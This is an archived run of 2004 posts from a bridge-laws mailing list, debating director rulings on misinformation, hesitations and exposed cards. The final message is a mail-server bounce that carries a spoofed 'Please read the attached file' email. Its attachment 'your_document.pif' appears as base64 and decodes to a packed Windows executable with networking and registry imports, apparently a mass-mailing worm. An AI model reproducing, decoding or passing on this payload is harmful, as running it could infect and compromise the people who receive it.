West North East > > 1d(1) 1h 1s(2) 2h > > pass(3) 3d(4) pass 3h(5) > > pass pass pass > > > > (1) ALERTED: 10-14 no 4 card major. > > (2) ALERTED: Artif and forcing, INV or better any distribution > > (3) Asked North about south pass North answered "1s forcing but over 2h he > > can pass if he wants" > > (4) ALERTED: Short suit trial > > (5) After hesitation > > > > Play: > > Diamond 2, low, queen, ace > > heart ace, low, low, queen > > heart king, low, low, diamond 3 (Declarer asked, North: odd=encouraging when > > discarding) > > low club, low, king low > > club, jack, low, low > > spade, low, ace, low > > heart jack, low, diamond, low > > spade, king, low, club discarded > > diamond, king, low, spade discard > > club, ruffed, ace, spade > > heart.... claiming 9 tricks +140 > > I'm assuming here that the TD can rule that East's explanation of the > 3D bid was incorrect, and thus there was MI. Otherwise, there's no > issue. EW were playing without a CC so MI had to be assumed. > West's final pass is normal, thus there's no issue about receiving UI > either from East's misexplanation or the hesitation. Thus the only > issue is whether the misexplanation has an effect on South's defense > (and maybe North's). I wonder if there's something to say about East hesitation, what was he thinking? Did EW escape from a double because of this? Scoring was MPs so the doubled partscore could have been important. I forgot that valuable pice of info. > If South had played West for longer diamonds, he probably would have > found the winning defense. But if South trusts East's explanation, he > may well play West for something like xxx AKJTxx A xxx---I think a 3D > short-suit game try is a little odd with that hand, but not so strange > as to be unthinkable. West's play would probably be considered a > little odd, too, but again not unthinkable if West thinks the chance > of an opposing spade ruff is high. So, given that South has a right > to assume East's explanation is correct as long as South doesn't do > anything "wild, irrational, or gambling", or commit an "egregious > error" (which he didn't), I think South was a victim of MI. So I > adjust to N-S +100. Why not down 2? (1s,2c,hJ,dK,diamond ruff) ? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.713 / Virus Database: 469 - Release Date: 6/30/2004 From adam@irvine.com Fri Jul 2 21:21:26 2004 From: adam@irvine.com (Adam Beneschan) Date: Fri, 02 Jul 2004 13:21:26 -0700 Subject: [blml] Simple question In-Reply-To: Your message of "Fri, 02 Jul 2004 17:14:27 -0300." <000501c46071$2d5199f0$a301a8c0@fuegolabs.com> Message-ID: <200407022021.NAA06767@mailhub.irvine.com> Luis Argerich wrote: > From: "Adam Beneschan" > To: > Cc: > Sent: Friday, July 02, 2004 4:54 PM > Subject: Re: [blml] Simple question > > If South had played West for longer diamonds, he probably would have > > found the winning defense. But if South trusts East's explanation, he > > may well play West for something like xxx AKJTxx A xxx---I think a 3D > > short-suit game try is a little odd with that hand, but not so strange > > as to be unthinkable. West's play would probably be considered a > > little odd, too, but again not unthinkable if West thinks the chance > > of an opposing spade ruff is high. So, given that South has a right > > to assume East's explanation is correct as long as South doesn't do > > anything "wild, irrational, or gambling", or commit an "egregious > > error" (which he didn't), I think South was a victim of MI. So I > > adjust to N-S +100. > > Why not down 2? (1s,2c,hJ,dK,diamond ruff) ? Because I was paying approximately as much attention as I was paying during the last few rounds of the event I played yesterday. :( I was so busy making the case for adjusting that I forgot to consider how much I should adjust. You're right---N-S +200. -- Adam From nigel.guthrie@ntlworld.com Sat Jul 3 00:09:41 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 3 Jul 2004 00:09:41 +0100 Subject: [blml] How played is declairer's exposed card? References: <005501c46019$85361720$536b2452@mikeamos> Message-ID: <00f501c46089$a8a22080$149868d5@jeushtlj> > [WILLIAM (Kojak) SCHODER] > But then, you appear to want to use the > laws as they were INTENDED, whereas there > are some who are frustrated forensic > scientists whose love in life is dissection. [Nigel] Again, Kojak applauds BLML experts who interpret TFLB, intuitively and telepathically, rather than those masochists who risk confusion and madness by examining the meaning of its actual words. Unfortunately, for us ordinary players, neither group arrive at any consensus, even within each group. Hope is not lost. TFLB's new edition may not implement all the simplifications that the game needs but I am sure it will clarify some ambiguities. And then, after another ten of fifteen years, any surviving Bridge players can look forward to another edition :) :) :) --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 26/06/2004 From adam@irvine.com Sat Jul 3 01:02:31 2004 From: adam@irvine.com (Adam Beneschan) Date: Fri, 02 Jul 2004 17:02:31 -0700 Subject: [blml] How played is declairer's exposed card? In-Reply-To: Your message of "Thu, 01 Jul 2004 11:39:58 BST." <001801c45f57$c23ba9e0$529468d5@jeushtlj> Message-ID: <200407030002.RAA16132@mailhub.irvine.com> Nigel Guthrie wrote: > David Stevenson seems to agree with Robert > Harris that, in this law, "held" means > "maintained for a period of time". For what it's worth, I've reread Robert's post a couple times, and can find no statement in his post about the meaning of "held" that can either be agreed or disagreed with. He basically asked a question about what the Law meant; and while he said that in two cases he ruled the "the card did not reach the position indicated by L45C2", he didn't give us much information about where the cards actually were at the time. -- Adam From nigel.guthrie@ntlworld.com Sat Jul 3 01:24:03 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 3 Jul 2004 01:24:03 +0100 Subject: [blml] How played is declairer's exposed card? Message-ID: <001701c46094$0c050b60$6250fd3e@jeushtlj> > [Adam Beneschan] > For what it's worth, I've reread Robert's > post a couple times, and can find no > statement in his post about the meaning of > "held" that can either be agreed or > disagreed with. He basically asked a > question about what the Law meant; and > while he said that in two cases he ruled > the "the card did not reach the position > indicated by L45C2", he didn't give us > much information about where the cards > actually were at the time. [Nigel] I'm sorry that I misrepresented you, Robert. Thank you for pointing out my mistake, Adam. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From brambledown@blueyonder.co.uk Sat Jul 3 12:18:55 2004 From: brambledown@blueyonder.co.uk (Brambledown) Date: Sat, 3 Jul 2004 12:18:55 +0100 Subject: [blml] How played is declarer's exposed card? In-Reply-To: <001701c46094$0c050b60$6250fd3e@jeushtlj> Message-ID: <000001c460ef$8a2f6a70$0200a8c0@Zog> Adam Beneschan writes: > For what it's worth, I've re-read Robert's post a couple times, and can find no > statement in his post about the meaning of "held" that can either be agreed or > disagreed with. One point that I don't think has been made so far in this thread is that L45C2 clearly distinguishes between "held" and "maintained". It does *not* say as it could have done: "Declarer must play a card from his hand if it is maintained in a face up position touching or nearly touching the table or in a position to indicate that it has been played" Instead it indicates that if it is face up at or near the table it needs only to be "held" not necessarily "maintained". For this reason, and contrary to the view of DWS and others, I would always rule declarer's card as played if it was faced on the table or very close to it (say within one inch) however momentarily it remained there. Chas Fellows, Surrey, England From blml@blakjak.com Mon Jul 5 02:26:41 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 5 Jul 2004 02:26:41 +0100 Subject: [blml] How played is declarer's exposed card? In-Reply-To: <000001c460ef$8a2f6a70$0200a8c0@Zog> References: <001701c46094$0c050b60$6250fd3e@jeushtlj> <000001c460ef$8a2f6a70$0200a8c0@Zog> Message-ID: Brambledown wrote >Adam Beneschan writes: >> For what it's worth, I've re-read Robert's post a couple times, and >can find no >> statement in his post about the meaning of "held" that can either be >agreed or >> disagreed with. > >One point that I don't think has been made so far in this thread is that >L45C2 clearly distinguishes between "held" and "maintained". > >It does *not* say as it could have done: > "Declarer must play a card from his hand if it is maintained in >a face up position touching or nearly touching the table or in a >position to indicate that it has been played" > >Instead it indicates that if it is face up at or near the table it needs >only to be "held" not necessarily "maintained". > >For this reason, and contrary to the view of DWS and others, I would >always rule declarer's card as played if it was faced on the table or >very close to it (say within one inch) however momentarily it remained >there. If you are going to apply logic to decide the interpretation then consider the fact that your interpretation makes wording of the Law illogical. There would be no need to add the bit about touching the table if it always becomes played before it reaches the table. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Mon Jul 5 03:18:03 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jul 2004 12:18:03 +1000 Subject: [blml] How played is declairer's exposed card? Message-ID: Kojak: >>>But then, you appear to want to use the >>>laws as they were INTENDED, whereas there >>>are some who are frustrated forensic >>>scientists whose love in life is dissection. Nigel Guthrie: >>Again, Kojak applauds BLML experts who >>interpret TFLB, intuitively and >>telepathically, rather than those masochists >>who risk confusion and madness by examining >>the meaning of its actual words. [snip] Oliver Wendell Holmes: >A word is not a crystal, transparent and >unchanged, it is the skin of a living thought >and may vary greatly in color and content >according to the circumstances and the time in >which it is used. Best wishes Richard Hills From richard.hills@immi.gov.au Mon Jul 5 04:10:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jul 2004 13:10:41 +1000 Subject: [blml] Baby face Message-ID: Ed Reppert asked: [snip] >>If you were West in this scenario, what >>useful information would you have gleaned >>from partner's BIT? The actual AC decided: [snip] >The committee decided that East's hesitation >was as likely to be based on good diamonds >as it was on a hand with close to 4-4-4-1 >distribution and extra values. Therefore, it >did not demonstrably suggest West's 2S bid, >and the table result could not be adjusted. Richard Hills (as hypothetical West) gleans: If I had been sitting West, these would have been my thoughts -> "While pard's break-in-tempo might be based on good diamonds (thinking about doubling for penalties), it is more likely that pard's break-in-tempo is based on a close to 4-4-4-1 shape with extra values. Given that pard is a known bunny, there is no guarantee that pard will reopen with a second takeout double if I pass the auction back to pard. "Therefore, on the balance of probabilities, pard's ambiguous hesitation demonstrably suggests that - in the long run - a 2S bid would gain a greater percentage of the matchpoints than a Pass would gain." So, if I had been sitting West, this would have been my consistent-with-Law-73C call -> "Pass." Best wishes RJH From richard.hills@immi.gov.au Mon Jul 5 06:38:37 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Mon, 5 Jul 2004 15:38:37 +1000 Subject: [blml] Reno regional appeal number four Message-ID: Wed Open Pairs 2nd Session Board: 13 Dealer: North Vul: Both T87 K96 43 QJ864 Q954 AKJ32 AJ3 QT54 65 KJ7 A952 3 6 872 AQT982 KT7 WEST NORTH EAST SOUTH --- Pass 1S 3D 3S(1) Pass 4S Pass Pass Pass (1) allegedly bid quickly The Facts: The final contract was 4S by East making four for a score of EW +620. The opening lead is unknown. The director was called two rounds later. Because of this, the director spoke to each pair independently. NS said that the stop card was used before West's 3S bid and that the 3S bid was made very quickly. South said West took nowhere near ten seconds to bid 3S. East was not sure he saw the stop card, but West did not refute that it was used. West could not give the director an accurate estimate of the time elapsed prior to the 3S bid. He said that either North or South inquired about the meaning of 3S (which he told the director was "limit"), but there was no conversation at the table concerning the tempo of the 3S bid. The director considered whether West followed the requirement to pause after the skip bid (Law 73A2). Although the facts were in dispute, the ruling was based on the likelihood that the 3S bid occurred with less than a 10 second pause. After speaking with both A and B players, however, the director determined that Laws 73F1 and 16A were not violated since all players consulted bid 4S with the East cards. The table result was ruled to stand. The Appeal: NS appealed the ruling and all four players attended the hearing. North had 13,500 masterpoints, South 9100, East 550, and West 600. The players agreed that during the auction there was a discussion of the meaning of the 3S bid, but no mention was made about the tempo of the bid. When asked by the reviewer the meaning of the 3S bid, East described it as "at the 3-level, having some cards". He seemed reluctant to use his partner's words "limit raise". South said he used the stop card. NS said that West did not pause. EW did not recall that there was any tempo problem with the 3S bid. How would you rule? Best wishes Richard Hills From mfrench1@san.rr.com Mon Jul 5 07:04:16 2004 From: mfrench1@san.rr.com (Marvin French) Date: Sun, 4 Jul 2004 23:04:16 -0700 Subject: [blml] Reno regional appeal number four References: Message-ID: <001401c46255$e89f1b20$6401a8c0@san.rr.com> > Wed Open Pairs 2nd Session > > Board: 13 > Dealer: North > Vul: Both > > T87 > K96 > 43 > QJ864 > Q954 AKJ32 > AJ3 QT54 > 65 KJ7 > A952 3 > 6 > 872 > AQT982 > KT7 > > WEST NORTH EAST SOUTH > --- Pass 1S 3D > 3S(1) Pass 4S Pass > Pass Pass > > (1) allegedly bid quickly > > The Facts: The final contract was 4S by East making > four for a score of EW +620. The opening lead is > unknown. The director was called two rounds > later. Because of this, the director spoke to each > pair independently. NS said that the stop card was > used before West's 3S bid and that the 3S bid was > made very quickly. South said West took nowhere > near ten seconds to bid 3S. East was not sure he > saw the stop card, but West did not refute that it > was used. West could not give the director an > accurate estimate of the time elapsed prior to the > 3S bid. He said that either North or South > inquired about the meaning of 3S (which he told the > director was "limit"), but there was no > conversation at the table concerning the tempo of > the 3S bid. > > The director considered whether West followed the > requirement to pause after the skip bid (Law 73A2). > Although the facts were in dispute, the ruling was > based on the likelihood that the 3S bid occurred > with less than a 10 second pause. After speaking > with both A and B players, however, the director > determined that Laws 73F1 and 16A were not violated > since all players consulted bid 4S with the East > cards. The table result was ruled to stand. > > The Appeal: NS appealed the ruling and all four > players attended the hearing. North had 13,500 > masterpoints, South 9100, East 550, and West 600. > The players agreed that during the auction there > was a discussion of the meaning of the 3S bid, but > no mention was made about the tempo of the bid. > When asked by the reviewer the meaning of the 3S > bid, East described it as "at the 3-level, having > some cards". He seemed reluctant to use his > partner's words "limit raise". South said he used > the stop card. NS said that West did not pause. EW > did not recall that there was any tempo problem with > the 3S bid. > > How would you rule? > +/- 170 >From what is written West surely bid 3S too fast, and no wonder, since he has a 4S bid. The "testimony" of peers is irrelevant. Passing 3S could well be right with the East hand, so it is an LA. Marv Marvin L. French San Diego, California From svenpran@online.no Mon Jul 5 07:34:06 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 5 Jul 2004 08:34:06 +0200 Subject: [blml] Reno regional appeal number four In-Reply-To: Message-ID: <000001c4625a$1236daa0$6900a8c0@WINXP> > richard.hills@immi.gov.au > Wed Open Pairs 2nd Session >=20 > Board: 13 > Dealer: North > Vul: Both >=20 > T87 > K96 > 43 > QJ864 > Q954 AKJ32 > AJ3 QT54 > 65 KJ7 > A952 3 > 6 > 872 > AQT982 > KT7 >=20 > WEST NORTH EAST SOUTH > --- Pass 1S 3D > 3S(1) Pass 4S Pass > Pass Pass >=20 > (1) allegedly bid quickly >=20 > The Facts: The final contract was 4S by East making > four for a score of EW +620. The opening lead is > unknown. The director was called two rounds > later. Because of this, the director spoke to each > pair independently. NS said that the stop card was > used before West's 3S bid and that the 3S bid was > made very quickly. South said West took nowhere > near ten seconds to bid 3S. East was not sure he > saw the stop card, but West did not refute that it > was used. West could not give the director an > accurate estimate of the time elapsed prior to the > 3S bid. He said that either North or South > inquired about the meaning of 3S (which he told the > director was "limit"), but there was no > conversation at the table concerning the tempo of > the 3S bid. >=20 > The director considered whether West followed the > requirement to pause after the skip bid (Law 73A2). > Although the facts were in dispute, the ruling was > based on the likelihood that the 3S bid occurred > with less than a 10 second pause. After speaking > with both A and B players, however, the director > determined that Laws 73F1 and 16A were not violated > since all players consulted bid 4S with the East > cards. The table result was ruled to stand. >=20 > The Appeal: NS appealed the ruling and all four > players attended the hearing. North had 13,500 > masterpoints, South 9100, East 550, and West 600. > The players agreed that during the auction there > was a discussion of the meaning of the 3S bid, but > no mention was made about the tempo of the bid. > When asked by the reviewer the meaning of the 3S > bid, East described it as "at the 3-level, having > some cards". He seemed reluctant to use his > partner's words "limit raise". South said he used > the stop card. NS said that West did not pause. EW > did not recall that there was any tempo problem with > the 3S bid. >=20 > How would you rule? This case clearly demonstrates the advantage of our alert regulations in Norway: West is entitled to a ten seconds delay following the skip bid by South = even if South retracts his stop card earlier, but he is also allowed to make = his call as soon as South retracts his stop card (or say "continue" or any = words to that effect). So in Norway unless West actually called while the stop card was still = faced there would have been no irregularity. South is responsible for = measuring out the ten seconds during which West may concentrate on deciding his = call, not being bothered by other matters. How would I have ruled under your regulations? I wouldn't. Your = regulations create problems where there is no cause. Regards Sven From schoderb@msn.com Mon Jul 5 13:08:43 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Mon, 5 Jul 2004 08:08:43 -0400 Subject: [blml] How played is declairer's exposed card? References: Message-ID: I stand revealed. But then I also stand to follow Law 81 C 5, with emphasis (mine) on the word "interpret." Does anyone think that it was put there erroneously, or unnecessarily? Or are we all so very much smarter than Edgar was, and can now do away with it? =K= ----- Original Message ----- From: To: Cc: Sent: Sunday, July 04, 2004 10:18 PM Subject: Re: [blml] How played is declairer's exposed card? > > > > > Kojak: > > >>>But then, you appear to want to use the > >>>laws as they were INTENDED, whereas there > >>>are some who are frustrated forensic > >>>scientists whose love in life is dissection. > > Nigel Guthrie: > > >>Again, Kojak applauds BLML experts who > >>interpret TFLB, intuitively and > >>telepathically, rather than those masochists > >>who risk confusion and madness by examining > >>the meaning of its actual words. > > [snip] > > Oliver Wendell Holmes: > > >A word is not a crystal, transparent and > >unchanged, it is the skin of a living thought > >and may vary greatly in color and content > >according to the circumstances and the time in > >which it is used. > > Best wishes > > Richard Hills > > From Mailer-Daemon@market.realmarketing.net Mon Jul 5 16:50:57 2004 From: Mailer-Daemon@market.realmarketing.net (Mail Delivery System) Date: Mon, 05 Jul 2004 11:50:57 -0400 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: bob@bobpardue.com This message has been rejected because it has a potentially executable attachment "your_document.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.171.60] (helo=bobpardue.com) by market.realmarketing.net with esmtp (Exim 4.24; FreeBSD) id 1BhVk5-000OFL-EV for bob@bobpardue.com; Mon, 05 Jul 2004 11:50:53 -0400 From: blml@rtflb.org To: bob@bobpardue.com Subject: Re: Your document Date: Mon, 5 Jul 2004 16:51:08 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_00005D4A.000069E4" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: This is a multi-part message in MIME format. ------=_NextPart_000_0005_00005D4A.000069E4 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0005_00005D4A.000069E4 Content-Type: application/octet-stream; name="your_document.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_document.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z AQCUcgEAAAAAAAAAAAAAAAAAenMBAKhyAQAAAAAAAAAAAAAAAACGcwEAsHIBAAAAAAAAAAAA AAAAAJFzAQC4cgEAAAAAAAAAAAAAAAAAnnMBAMByAQAAAAAAAAAAAAAAAAAAAAAAAAAAAMhy AQDWcgEAAAAAAOJyAQDwcgEAAHMBABJzAQAAAAAAJHMBAAAAAAALAACAAAAAAEBzAQAAAAAA VHMBAAAAAAAAAE1lc3NhZ2VCb3hBAAAAd3NwcmludGZBAAAARXhpdFByb2Nlc3MAAABMb2Fk TGlicmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAVmlydHVhbFByb3RlY3QAAAAASW50ZXJu ZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAEdldE5ldHdvcmtQYXJhbXMAAAAAUmVnT3BlbktleUEA VVNFUjMyLmRsbABLRVJORUwzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbABpcGhscGFw aS5kbGwAQURWQVBJMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVACNL LeCo9fUqAN2XrU+vUqlvABioluG9wPiQAMukUQTRgwCWAAh8qPCIC46DGwsqdsh4rZIAff8q c3UyNDah4RiNMLEZ5wLoY+8nAGEAAACf0B59LFAEyC92WUGoz7dMAENKSTV9SfNMFsaLNcr/ Fv1JH7pmAAz4ST+5Lje4ADBpaxfaVNyoKVsn6WaIgGsa2xs1XVso89/0VBJZEQgX5bEWjCwK qlyNQcKD7RjLg3xeEl8VcPcISg3wx0DdLWFWA1+QEk6COEiI9CmEAHeOVp81jodfBoA8bgTL ukUA8PSqislLA8oDo/220qcHaQa/vM2/RlJdDancS8uEx0LEhVW8lAcAn2XWp8YU3gGVd5/w rGdAQTSKGzbUfpTtxgpweFp0NfaVLQU4RZJQikZ++nALsQw8A2oXYVErIyhKZD2rHA29DFJQ ACWwproYIpZZyW0kw88Vq7fAJtzrbCK931+m5uVEwtKGp6zcLHTNSZTO8IsSJk/mGkz94/HU gF+O9FqBx24MIOl8X88RU1+p9LJotlZpzVZfWWS2/3IKl3eGgym+14JqOdlGpM3aIpS5KQSm nmCwR7hG3La+JUXw+KOiSrSNvpSl9cvtqp+YRcDGxmgowiP+VQp02W2wDRRq9g86LaCVElpe smugpDsZcpSnPM2teZUv2AijvJj8pLhQqTaCkxAVw4EdYaiKohdLr2nLQG1Q+CcmMQU0Y9oy LFAQ1HKvGtZcAK6iJukK3oJM8rIDNUlgl+duAIUVbILFtJs4AnhLdPUsdDl2vKJo+V1KN8Rn 5F2FAOSZjm6qHl6hsFKXITMx1F0b3W+RR5ewnlJ2ijs2S3+6t9ExQ0HbEIP4tAbDmz4tTVz7 +dsaefWquHZqzscNQkXH2JoeWqO+HRaHfX0yCgXD+LwP2fnyv/0BEGyJVmR5MQtfQysE8+IU W2XfJsUlTX/OV+wgyi27Ru/m0QRHEBXtRqv7oFbAZDyFk6EgcArlmkn3ljcfmkFE4p1uD/ox WeO00ACBAo36ZfsBFbrKQo6+D8SHFHEobC435RAFV3o6AmwP7h9PYYlAqyjkqRfhchhx3h32 DFhXsKSFkyyXJYcVCwhoyxZVCpQsiOKLXjr6yGiuSFhl2aipTFS6Grt9o1Av3ZCM85bYI+fA 8KiRk+dcg4p2KvmB3VJxT77x2sFrFEUR401jiIcNWm+BWkhtEWS5xIk9Z1sg2Ce1WFgX0gBR sgQZSak1T3AkCdZJxzljSgEfDNpLSEFFqhcm+tdYUCPLFtWHkFsXyzUDE4UQZ1m15HaK/50n 1CoBq2Vd8hRXEoV8fQdZDL9hwVprCrSsBLn+rgcOm9GDgDqhkiMtjGsCqVSLyz+9ngstKZLF tAlWBYpHlkqqxX985aMuleq+uK5jVU2k3MncgXMw8vp1VHhVxZW/cU8Cjocec1ZTbWXYaWRX d6rUage4iBa7Vbtmp6PgUUQauljiMD8BysbzEn7rIObYhKNRVLLr6zUHvpgv2XA8j1tmS/fT g9/51fz+koj5CWTe3gAfmIPlbU09+/EqBFN4Pz0urYYRt3+zUMFAkt23Ya3zleTkX7/XQyiZ rDKo3DgBbL3fwj/ONGHF0ZQSKiLLvi5sXtqrsBNPDpFo0S9apBvopVxHGxtJ2ShT1ygoqMe4 M5z/Kt94SEISqPIyuOeUahnOejNTlEso1j8WzBMhGkboBvIX03YUEXdCST3CoZKdnX9dgQBK IQiLE4sQ00KN/XgYuZQV8iI0Gvk7J3Pg0e1heEDgbbXinPsTao/fSdjYJNaS19wgI8V0+KL1 wgqBv+LFtDP4QSFVizkytEgbjyHppNcS9C7HV2oQiUPi7zHC0lf+eMlU6whh6ISeQh0Qm+Tw DIA30DHBPID2CYT7QgYh4AMQ/QCI+gVEh3oi9A8R6RQI7hGE00IuJ8g70IoJa46hlPS+U0/9 TUyNcnWBdyifheqKg0zoIh4x/jkDFZrgFj656KQo3T6s3+IcZdOZCD3OuAQ6xibNyGM/Mo5+ D50GDMy1FopoIW8Pwps/+sNx0vLIKMOOZcrIshqwl8RZqdRqiaBzIHYDc38L+90eZo9pgI+k B5Lp+rgH11918NtvrhrsqdQXQfIrqrt5NVNh73UedLnMws8uNX2SSjxqOBUqz/d5KN5ZKbqH boRPpgOjUKHeI2NRxSoiRWwjCNHPfGKC8eHjhg9VEYAw9FaNu8sRsFeq/jwmDs80hqP5pJmh Aq1pF+ybAsVXG5aA8LXaRIUsI2XgpavSjIsipFg3RDPfnw6txK280umBEKEUpw3qoVWjLvb+ bWqv/PeAHVUAY3BsOGjc15UE/VNv0pNHi04SsrMq8EVrtK8ofwCW/cDRC6TIbG+7kpVuWRAV SzW8zvtjfQwBLl0rXHxjeH3GIUzGs0lVNzLEC5Fq00kw0wNzGPGknSNWCAQTjrxMpPQ9JXOm gB6BDEpOOwwDcQ6OBjY9jMGJInlc6kh/ZcGR0mBhlf0og2/1YxjBsxxE1a4M2ZgzJuzirUjC 9LMKxsV3Gm06RYVxAIMQVFk9hZbPF7BTNQ+psFa/SMJtrwHHYAASxQWfwB6ho1BQ2N2+0F5c OvkHpAW4nMKGmSw5qECCBRaKnGRqbF9zZTSHfqxLlTqh31bqSktIZEOnKapSDbkRwrBhCng5 UiEBxcN4xeqjPTMr7dqPaOGKeh/wFezpNjKsTR1Ee6r79p0UHqn/1SfpWbEN7kKu8P3wOojn ba4huqWVO3+YFYTXeV1XkorMlnnvKGLr64BURLpNMiyJ2sxvpVrvLEX0UatcQ+QUiXKyhtK6 3CWN8ylugubFaopS2mb4HPyEALSScfn3JB4uuvAtgAr9lF+Z9SDWWM6qavPuoKb1JSimf/Mu j0YSA3mCGTCyyImKBKj4dDu+yu5hdMw8QB2TWmXahdMCa5aSZZu1qa9AmqglbXQI1v95Ssbc Qp/l3MvXi6KMTER/Nyzj+qKEQKZBB2TgOqoOtI8NNcTwtYfxqQWQEV1ESjqWPkOikCfhYSsg Vp1+dG2dLhft6Xwf3OzN9Whf7UoZBy3Mjuk/BTjyXhbpvGjMFihaccBcQJjtRg8hMNUyubjk FQqOAoVRH+Py+B1YEjtZaT3HDuMPi82wfFG0BP5nusv+yVOqpUb6HDuTBiAooQ5s3sd/TAMK roRKpChG69cOBEOGOqMOoX8UVlLevoCyvR4nbHjmhoG0mY2HElSO0ZUoOZaoJu3h5B8gPrZe wcwWqIMQ21F1DvGUQROTF69wkEAoBLQCF6gYSdrNDiV8kVok20BYckan3kE6vET7qEDsQVF9 ZIUGbyEp1T6hkbnc8W3VZaSl4K64VzU+d/OLyhg5AqykIWLqoQGbrCIMiFN4+LEI2TZ/FEKl 